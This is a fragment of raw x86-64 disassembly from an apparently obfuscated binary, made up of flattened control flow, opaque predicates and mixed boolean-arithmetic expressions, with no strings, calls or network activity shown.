not ecx
and ecx, 0x76868ac7
and edx, 0x89797538
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x47203974
and edx, 0xb8dfc68b
or edx, ecx
mov ebp, edx
xor ebp, 0x42010c44
mov esi, edx
xor esi, 0x31a6b3b3
or ebp, 0xbddcc089
mov edi, ebp
not edi
mov ebx, esi
or ebx, 0x42233f76
mov ecx, ebx
not ecx
and ebp, 0xbf1939ae
and edi, 0x40220650
or edi, ebp
and ebx, 0xbf1939ae
and ecx, 0xc4c001
or ecx, ebx
xor ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x718ed4f
and ecx, 0xf8e712b0
or ecx, ebp
mov ebp, ecx
xor ebp, 0x224024c6
and esi, 1
xor edx, 0x31a6b3b2
or edx, esi
mov ebx, edx
not ebx
xor ecx, 0x453bd238
mov edi, ecx
and edi, 0xd8b79931
and ebp, 0x274866ce
or ebp, edi
or ecx, edx
and edx, 0xd8b79931
and ebx, 0x274866ce
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x6ba8ece1
and ecx, 0x9457131e
or ecx, edx
mov ebx, ecx
xor ebx, 0x10000106
xor ecx, 0x41082000
or ebp, 0xdb1a23c6
mov edx, ebp
not edx
or ecx, 0x20e4dc21
and ecx, 0xe1fefe21
and ebx, 0x1a0001c6
or ebx, ecx
and ebp, 0xe1fefe21
and edx, 0x4010018
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xa3a3cf34
and edx, 0x5c5c30cb
or edx, ecx
mov ecx, edx
xor ecx, 0x80461101
xor edx, 0x78b9ecf2
mov ebp, edx
and ebp, 0x6f194a2c
and ecx, 0x90e6b5d3
or ecx, ebp
xor ecx, 0x6f194a2c
xor edx, ecx
test edx, ecx
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
and al, bl
xor al, 1
mov ebx, eax
xor bl, r9b
not bl
and bl, r9b
or al, r9b
xor al, 1
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
xor r9b, cl
and cl, r9b
mov edx, r9d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
xor al, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x9786faae
mov ebp, 0xe5ffea6c
cmovne eax, ebp
test dl, 1
cmove eax, ebp
test cl, 1
mov ecx, 0x9786faae
jmp 0x1400ca6e6
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0xfffffffe
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x33ca7ed8
and ecx, 0xcc358127
or ecx, ebp
mov ebp, ecx
xor ebp, 0x80100103
and ebx, 0xa11194a7
and edx, 0x5eee6b58
or edx, ebx
mov ebx, edx
xor ebx, 0x2486950
xor ecx, 0x33ca7ed8
xor edx, 0xa11194a7
mov edi, ecx
and edi, 0x5da796ac
and ebp, 0xa2586953
or ebp, edi
or ecx, edx
and edx, 0x5da796ac
and ebx, 0xa2586953
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ebx, eax
xor bl, r10b
and bl, al
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, r9d
xor dl, cl
mov ebx, edx
and bl, r9b
and dl, cl
xor bl, 1
xor dl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, r8b
and cl, al
and r9b, r10b
and al, r8b
or al, r9b
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, 1
and cl, bl
or bl, al
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0xe310b438
mov ebp, 0x40a3b9aa
cmovne eax, ebp
test bl, 1
mov edx, 0xe310b438
cmovne eax, edx
test cl, 1
cmove eax, ebp
jmp 0x1400cbd13
mov ecx, dword [0x140265728]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
and ecx, 0xc5009091
mov edx, eax
and edx, 0x12002060
or edx, ecx
xor edx, 0x12002060
and eax, 0x28ff4f0e
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x28ff4f0e
and eax, 0xd700b0f1
or eax, ecx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0x1da801d8
and eax, 0xe257fe27
or eax, edx
xor eax, 0xe257fe26
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x807303f5
and edx, eax
or eax, 0x7f8cfc0a
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0xe9380a42
and ecx, 0x4301b5
or ecx, ebx
or eax, ebp
and ebp, 0xe9380a42
and edx, 0x16c7f5bd
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x7f8cfc0a
and eax, 0x807303f5
or eax, ecx
sete al
setne cl
cmp dword [0x140265724], 0xa
setl dl
xor cl, dl
xor cl, 1
mov ebx, edx
or bl, al
xor dl, al
xor dl, 1
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
xor dl, cl
and cl, dl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xe2e265a9
mov ebp, 0x981cbbcc
cmovne eax, ebp
test dl, 1
mov edx, 0xe2e265a9
cmovne edx, eax
test cl, cl
jmp 0x1400cc3ac
mov ecx, 0xe2e265a9
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x804f5d92
mov edx, ecx
and edx, 0x7fb0a26d
or edx, ebp
mov ebx, edx
xor ebx, 0x7fb0a26d
mov ebp, edx
xor ebp, 0x89b7fe59
and ebp, ebx
and ecx, 0xf6075c34
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xf6075c35
and ecx, 0x9f8a3ca
or ecx, ebp
xor edx, 0x4c0982
and edx, 0xf7caba6
mov ebp, ebx
and ebp, 0xf0835459
or ebp, edx
xor ebp, 0xf7caba7
and ebx, 1
or ebx, ebp
mov edx, ebx
not edx
and edx, 0x4ff8cc0d
and ebx, 0xb00733f2
or ebx, edx
mov ebp, ebx
xor ebp, 0xb0010210
xor ebx, 0x4ff8cc0d
mov edx, ecx
not edx
mov edi, edx
and edi, 0x446fde6
and ecx, 0xfbb90219
or ecx, edi
or edx, ebx
and ebx, 0x446fde6
and ebp, 0xfbb90219
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x4d063312
and ecx, edx
and edx, 0xb2f9cced
or edx, ebp
mov ebp, edx
xor ebp, 0x442c
xor edx, 0x4d063312
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xb3f99ad3
and ebp, 0x4c06652c
or ebp, edi
or edx, ebx
and ebx, 0xb3f99ad3
and ecx, 0x4c06652c
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x5b685568
and edx, 0xa497aa97
or edx, ecx
xor edx, 0xa497aa97
cmp edx, 0xffffffff
setne r9b
sete bl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ecx, ebx
xor cl, r9b
and cl, bl
mov ebx, ecx
xor bl, 1
and cl, bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, al
xor r8b, r9b
mov edx, eax
xor dl, r9b
or al, r9b
xor al, 1
or al, dl
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
or al, cl
xor cl, 1
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor dl, cl
xor bl, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x9a39877e
mov ebp, 0x660e5c38
cmovne ecx, ebp
test al, 1
mov eax, 0x9a39877e
cmovne eax, ecx
test dl, 1
jmp 0x1400ca6e6
mov ecx, dword [0x140265728]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe22527b6
and ecx, eax
and eax, 0x1ddad849
or eax, edx
xor eax, 0x1ddad849
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x8989ee84
and ecx, eax
not eax
and eax, 0x8989ee84
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x7676117b
and ecx, 0x8989ee84
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x438b97dd
and eax, 0xbc746822
or eax, ecx
xor eax, 0x438b97dd
cmp eax, 0xffffffff
sete al
setne cl
cmp dword [0x140265724], 0xa
setl bl
xor cl, bl
xor cl, 1
mov edx, ebx
or dl, al
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, bl
and al, cl
and cl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
and cl, dl
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0xebfcaab1
mov edx, 0x213a98a7
cmovne eax, edx
test bl, bl
cmove eax, r13d
test cl, 1
cmovne eax, edx
jmp 0x1400cbd13
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8667dbe1
and edx, 0x7998241e
or edx, ecx
mov ebp, edx
xor ebp, 0x40182018
xor edx, 0x8245d340
and edx, 0xbbc5d746
and ebp, 0x443a28b9
or ebp, edx
mov ecx, ebp
xor ecx, 0xbbc5d746
xor ebp, 0x40122089
and ebp, 0x789623c9
mov edx, ecx
and edx, 0x8769dc36
or edx, ebp
mov ebp, edx
xor ebp, 0x8769dc36
mov ebx, ebp
and ebx, 0x39e5e393
and ecx, 0xc61a1c6c
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xc61a1c6d
and ecx, 0x39e5e392
or ecx, ebx
and ebp, 1
xor edx, 0x8769dc37
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xe217b1df
and edx, 0x1de84e20
or edx, ebp
xor edx, 0x1de84e20
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
mov ecx, edx
xor ecx, 0xb8e2dd2
and ecx, edx
not edx
and edx, 0xa8c2c00
and ebp, 0x10201d2
or ebp, edx
xor ebp, 0x10201d2
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf471d22d
and ecx, 0xb8e2dd2
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xf795c530
and ecx, 0x86a3acf
or ecx, ebp
xor ecx, 0xf795c530
xor edx, ecx
test edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
xor al, 1
and bl, dl
or bl, r8b
xor bl, al
mov ecx, ebx
not cl
and cl, al
mov eax, ecx
xor al, bl
test bl, bl
mov edx, 0x4022273a
mov ebp, 0x6bd0980b
cmovne edx, ebp
test cl, cl
mov ecx, 0x4022273a
cmove edx, ecx
test al, al
cmovne edx, ebp
jmp 0x1400cc3af
mov ecx, 0x35fb1ee
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x1bf098ed
and ecx, ebp
not ebp
and ebp, 0x12e080e9
and edx, 0x9101804
or edx, ebp
xor edx, 0x9101804
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe40f6712
and ecx, 0x1bf098ed
or ecx, edx
mov ebp, ecx
not ebp
mov ebx, ecx
xor ebx, 0xe670d877
and ebx, ebp
mov edx, ecx
and edx, 0x198f2788
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x198f2789
and edx, 0xe670d876
or edx, ebx
and ebp, 1
xor ecx, 0xfffffffe
or ecx, ebp
mov ebx, ecx
not ebx
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x28126a55
and edx, 0xd7ed95aa
or edx, edi
or ebp, ecx
and ecx, 0x28126a55
and ebx, 0xd7ed95aa
or ebx, ecx
xor ebx, edx
not ebp
or ebp, ebx
mov ecx, ebp
not ecx
mov ebx, ecx
or ebx, 0xb2219530
mov edx, ebx
not edx
or ebp, 0x4dc0809
and ebp, 0x36fd8d29
and ecx, 0x80001010
or ecx, ebp
and ebx, 0x36fd8d29
and edx, 0x490262c6
or edx, ebx
xor edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3e043ac4
and edx, 0xc1fbc53b
or edx, ecx
xor edx, 0x73da500b
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
mov eax, ebx
and bl, r8b
and r8b, r9b
and al, cl
or al, r8b
mov edx, eax
xor dl, r9b
and dl, al
and cl, r9b
or bl, cl
xor dl, 1
xor bl, 1
mov eax, edx
or al, bl
xor bl, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x80f17333
mov ecx, 0xb216925f
cmovne edx, ecx
test bl, bl
mov ecx, edx
mov ebp, 0x80f17333
cmovne ecx, ebp
test al, al
jmp 0x1400c8dd6
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x9f5f24b3
and edx, 0x60a0db4c
or edx, ebp
mov ebp, edx
xor ebp, 0x954a0013
xor edx, 0x60a0db4c
mov ecx, edx
and ecx, 0x2a953da4
and ebp, 0xd56ac25b
or ebp, ecx
mov ecx, ebp
xor ecx, 0xd56ac25b
mov edi, ebp
xor edi, 0x7b314379
and edi, ecx
or edx, 0x51a47edd
mov esi, edx
not esi
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0xcbc5ad43
and edi, 0x343a52bc
or edi, eax
or ebx, edx
and edx, 0xcbc5ad43
and esi, 0x241a0020
or esi, edx
xor esi, edi
not ebx
or ebx, esi
mov eax, ebx
not eax
and eax, 0xae5b8123
and ebx, 0x51a47edc
or ebx, eax
xor ebp, 0x2842880
and ebp, 0xc384eaca
mov eax, ecx
and eax, 0x3c7b1535
or eax, ebp
xor eax, 0xc384eacb
and ecx, 1
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x328993f7
and eax, ecx
and ecx, 0xcd766c08
or ecx, edx
xor ecx, 0xcd766c08
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
setne r9b
sete r10b
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
mov ecx, eax
xor cl, r10b
mov r8d, ecx
xor r8b, al
and r8b, cl
or bl, r9b
xor bl, 1
or al, r10b
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, r8d
xor dl, cl
and cl, al
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
xor cl, r8b
xor dl, 1
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xc0e2946a
mov ebp, 0x9e69c9a7
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0xc0e2946a
jmp 0x1400ca6e6
mov ecx, 0x69696d8f
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
not edx
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x7998f08f
and edx, 0x86670f70
or edx, ecx
xor edx, 0x86670f70
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, bl
xor bl, dl
and dl, al
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
not al
mov edx, ebx
not dl
and dl, cl
or cl, bl
and bl, al
or bl, dl
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x4ecde62
mov ebp, 0x6f932cce
cmovne edx, ebp
test cl, cl
mov ecx, 0x4ecde62
cmovne edx, ecx
test al, 1
cmove edx, ebp
jmp 0x1400cc3af
mov edx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov ebp, ecx
xor ebp, 0xfffffffe
and ebp, ecx
or ecx, 1
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x2df58bb7
mov edx, esi
and edx, 0xd20a7448
or edx, edi
or ecx, ebx
and ebx, 0x2df58bb7
and ebp, 0xd20a7448
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
not ecx
mov edx, ecx
and edx, esi
xor ecx, esi
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa3cda35d
and ecx, 0x5c325ca2
or ecx, edx
xor ecx, 0x5c325ca2
sete cl
setne r9b
cmp r8d, 0xa
setl al
cmp r8d, 9
setg r8b
mov edx, r9d
and dl, r8b
mov ebx, eax
and bl, cl
or bl, dl
xor r8b, bl
and r8b, bl
or r9b, al
xor cl, al
and cl, al
mov eax, r9d
xor al, cl
xor cl, 1
xor al, 1
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, edx
xor dl, 1
and dl, r8b
xor r8b, 1
and cl, r8b
or dl, cl
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xc7ff0647
mov ecx, 0x5a2a9fc9
cmovne ebp, ecx
test al, 1
mov ecx, 0xc7ff0647
cmovne ecx, ebp
jmp 0x1400c861b
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0x800062fa
mov edx, ebp
and edx, 0x19090801
or edx, ecx
xor edx, 0x19090801
mov ecx, ebp
and ecx, 0x66f69504
or ecx, edx
mov edx, ecx
not edx
and edx, 0x66f69505
and ecx, 0x99096afa
or ecx, edx
mov edx, ecx
not edx
and ebx, 0xbb158e05
and ebp, 0x44ea71fa
or ebp, ebx
mov ebx, ebp
xor ebx, 0x44401020
xor ebp, 0xbb158e05
mov edi, ecx
and edi, 0x32af69da
and edx, 0xcd509625
or edx, edi
or ecx, ebp
and ebp, 0x32af69da
and ebx, 0xcd509625
or ebx, ebp
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x3c69244f
and ecx, 0xc396dbb0
or ecx, edx
xor ecx, 0xc396dbb0
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor al, 1
or bl, al
and al, cl
xor cl, dl
and cl, dl
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
xor cl, 1
mov eax, ebx
or al, cl
xor cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x7ab4b259
mov ebp, 0x67b707f3
cmovne ecx, ebp
test al, 1
mov eax, 0x7ab4b259
cmovne ecx, eax
test dl, 1
jmp 0x1400ca5cc
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
xor ebp, 0xbdb15d32
and ebp, edx
or edx, 0x424ea2cd
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0x39486a0e
and ecx, 0x84b11530
or ecx, edi
or edx, ebx
and ebx, 0x39486a0e
and ebp, 0xc6b795f1
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x3a8c800c
and edx, 0xc5737ff3
or edx, ecx
mov ecx, edx
xor ecx, 0x78c222c1
mov ebp, edx
xor ebp, 0x78c222c0
and ebp, ecx
xor edx, 0x873ddd3e
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xd896401c
and edx, ecx
and ecx, 0x2769bfe3
or ecx, ebp
mov ebp, ecx
xor ebp, 0x28ad62
xor ecx, 0xd896401c
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xaf55129d
and ebp, 0x50aaed62
or ebp, edi
or ecx, ebx
and ebx, 0xaf55129d
and edx, 0x50aaed62
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x99202c6d
and ecx, 0x66dfd392
or ecx, ebp
xor ecx, 0x99202c6d
xor edx, ecx
test edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
and bl, dl
or bl, r8b
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x981cbbcc
mov ebp, 0x7ddac215
cmovne eax, ebp
test cl, cl
mov ecx, eax
cmovne ecx, ebp
test dl, dl
jmp 0x1400cc8d4
mov rdi, qword [rsp + 0x38]
mov ecx, dword [0x140265728]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
mov ebp, eax
xor ebp, 0xfffffffe
and ebp, eax
mov ebx, edx
and ebx, ebp
xor ebp, edx
mov esi, dword [0x140265724]
or ebp, ebx
and ecx, 0x4c83b09a
and eax, 0xb37c4f65
or eax, ecx
mov ecx, eax
xor ecx, 0xb37c4f65
xor eax, 0x4c83b09a
and eax, ebp
not ebp
and ecx, ebp
or eax, ecx
xor ebp, eax
test ebp, eax
setne r10b
sete r9b
cmp esi, 9
setg r8b
cmp esi, 0xa
setl cl
mov edx, ecx
xor dl, r8b
and dl, cl
xor r10b, r9b
and r10b, r9b
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
mov r11d, ebx
and r11b, dl
xor bl, dl
or bl, r11b
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov ebx, r10d
xor bl, al
and r10b, bl
and bl, al
mov eax, r10d
and al, bl
xor bl, r10b
or bl, al
mov eax, r8d
xor al, r9b
and al, r8b
xor cl, r9b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
xor cl, bl
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0x7000452a
mov edx, 0x7123c004
cmovne ecx, edx
test bl, 1
mov ebp, 0x7000452a
cmovne ecx, ebp
mov qword [0x140265060], rdi
jmp 0x1400cbe62
mov eax, dword [0x140265728]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x802d4c9d
mov eax, edx
and eax, 0x7fd2b362
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0x7fd2b363
and eax, 0x802d4c9c
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0x3fa9eb85
and eax, 0xc056147a
or eax, ebp
mov ebp, eax
xor ebp, 0xc014042a
xor eax, 0x3fa9eb85
mov ebx, eax
and ebx, 0x1dcab9d1
and ebp, 0xe235462e
or ebp, ebx
or eax, edx
and edx, 0x1dcab9d1
and ecx, 0xe235462e
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x3e7dcf73
and eax, 0xc182308c
or eax, ecx
xor eax, 0xc182308c
sete cl
cmp dword [0x140265724], 0xa
setl bl
mov eax, ebx
or al, cl
xor al, 1
mov edx, ebx
xor dl, cl
or al, dl
and cl, dl
and dl, bl
mov ebx, ecx
xor bl, 1
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
mov r8d, ebx
and r8b, dl
xor bl, dl
or bl, r8b
mov r8d, ebx
and r8b, al
mov edx, eax
and dl, cl
xor cl, al
xor al, 1
xor bl, 1
and bl, al
or bl, r8b
or cl, dl
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x4f84e66e
mov edx, 0xac0d45ed
cmovne ecx, edx
test bl, 1
mov r12d, 0xac0d45ed
cmove ecx, edx
test al, 1
mov eax, 0x4f84e66e
jmp 0x1400cc8d4
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
and ebp, 0x9a7c4865
xor edx, 0xdc8bacc8
and edx, ecx
and ecx, 0x6583b79a
or ecx, ebp
mov edi, ecx
xor edi, 0x6583b79a
mov ebp, ecx
xor ebp, 0xb9081b52
and ebp, edi
mov ebx, ebp
not ebx
mov esi, edx
not esi
mov eax, ebx
and eax, 0xd378f128
and ebp, 0x2c870ed7
or ebp, eax
or ebx, esi
and esi, 0xd378f128
and edx, 0x2c870ed7
or edx, esi
xor edx, ebp
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0xdc8bacc9
and ebx, 0x23745336
or ebx, eax
and edi, 1
xor ecx, 0x6583b79b
or ecx, edi
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x35ef61bf
and eax, ecx
and ecx, 0xca109e40
or ecx, edx
xor ecx, 0xca109e40
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x69482c7d
and eax, 0x96b7d382
or eax, ecx
mov ecx, eax
xor ecx, 0x21002848
xor eax, 0x90b60282
and eax, 0xd8fe06b7
and ecx, 0x2701f948
or ecx, eax
xor ecx, 0x2701f948
sete r10b
setne r9b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl dl
mov eax, edx
xor al, r9b
not al
and al, r9b
or dl, r9b
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
xor r10b, cl
and r10b, cl
xor cl, r9b
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, al
xor al, 1
and cl, al
or cl, bl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xb737e56c
mov ebp, 0xde68ee9b
cmovne eax, ebp
test cl, 1
cmove eax, ebp
not dl
test dl, 1
mov ecx, 0xb737e56c
jmp 0x1400cbd10
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xe7664b7e
and ecx, 0x1899b481
or ecx, edx
mov edx, ecx
not edx
and edx, 0x12931b81
and ecx, 0xed6ce47e
or ecx, edx
mov ebx, ecx
xor ebx, 0xa0aaf00
mov ebp, ecx
xor ebp, 0xf5f550ff
xor ecx, 0x258b61a
and ecx, ebp
mov edx, ebx
and edx, 0xf7ade6e5
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xf7ade6e4
and edx, 0x852191b
or edx, ecx
and ebx, 0x2263b2ae
mov ecx, ebp
and ecx, 0xdd9c4d51
or ecx, ebx
xor ecx, 0x2263b2af
and ebp, 1
or ebp, ecx
mov ecx, ebp
not ecx
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xad979e60
and edx, 0x5268619f
or edx, edi
or ebx, ebp
and ebp, 0xad979e60
and ecx, 0x5268619f
or ecx, ebp
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
xor ecx, 0x81dc359d
and ecx, ebx
not ebx
and ebx, 0x81dc359d
mov edx, ebx
